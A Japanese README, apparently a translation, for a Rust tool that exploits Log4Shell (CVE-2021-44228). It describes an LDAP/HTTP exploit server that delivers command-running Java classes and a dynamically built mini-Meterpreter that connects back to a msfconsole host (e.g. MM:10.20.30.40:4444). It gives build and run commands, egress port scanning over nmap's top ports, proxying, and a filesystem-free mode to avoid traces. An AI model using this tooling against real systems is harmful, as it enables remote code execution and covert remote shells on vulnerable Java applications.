
Log 4 Shell(log 4 j - CVE-2021-44228)のRust実装
Log 4 Shell(log 4 j - CVE-2021-44228)のRust実装
ビルドするには cargo +nightly build を実行します
このバージョンでは、コマンドクラスをビルドし、悪用されたJavaアプリのスレッド内で実行されるミニメータープリターを動的に配信し、LDAPサーバーとHTTPサーバーを実行できます。このバージョンは、LDAPリクエストとHTTPリクエストの両方を同じポートで処理します。
複数のポートで同時に実行して、ターゲットマシンでどのポートがegress(外向き)に利用可能かを確認できます。
リクエストがLDAPでもHTTPでもない場合、同じポート上で別のマシンにプロキシできます。ターゲットマシンにegressポートが1つしかない場合でも、LDAPとHTTPを提供し、同じポートを使用してメータープリター接続を他のローカルポートまたは別のマシンにプロキシできます。
このバージョンではjavacのインストールは不要になりました。動的な「クラスビルド」は引き続き可能ですが、実行ファイルに埋め込まれたプリコンパイル済みクラスを変更することで実現しています。
このバージョンでは、nmapで定義された上位100ポートと上位1000ポートが追加されています。--pC100 または --pC1000 オプションを使用してください。
典型的な使い方としては、コマンドクラスをビルドしてからサーバーを実行します。
l4srs build -c Cmd1 -l firefox -w Calc.exe
l4srs build -c TouchMe -l "touch /tmp/me"
その後、Cmd1をリクエストすると、Linuxではfirefoxが起動し、WindowsではCalcが起動します。TouchMeをリクエストすると、Linuxでは/tmp/meをtouchし、Windowsでは何も実行しません。
次に l4srs run --pC100 を実行すると、上位100ポートでサーバーが起動し、Cmd1またはTouchMeを配信できます。
さらに、MM:Host:port をリクエストすると、リクエスト内のホストとポートに接続するミニメータープリタークラスが動的に作成されます。msfconsoleが10.20.30.40のポート4444で実行されている場合、MM:10.20.30.40:4444 とリクエストします。これはbuildコマンドでビルドされるのではなく、リクエスト時に動的にビルドされます。
このバージョンでは、インメモリキャッシュからクラスをビルドして配信できます。動的なMiniMeterpreterクラスはすべて、ファイルシステムに一切アクセスしません。さらに、新しいフラグが2つ追加されています。1つ目は --no_fs で、ファイルシステムから一切ファイルを配信しないようにします。もう1つは --allow_cmd で、任意のオープンポートの /build_cmd に、class_name、l_cmd、w_cmd のフィールドを持つJSONボディをPOSTリクエストすることで、動的なクラスビルドを有効にします。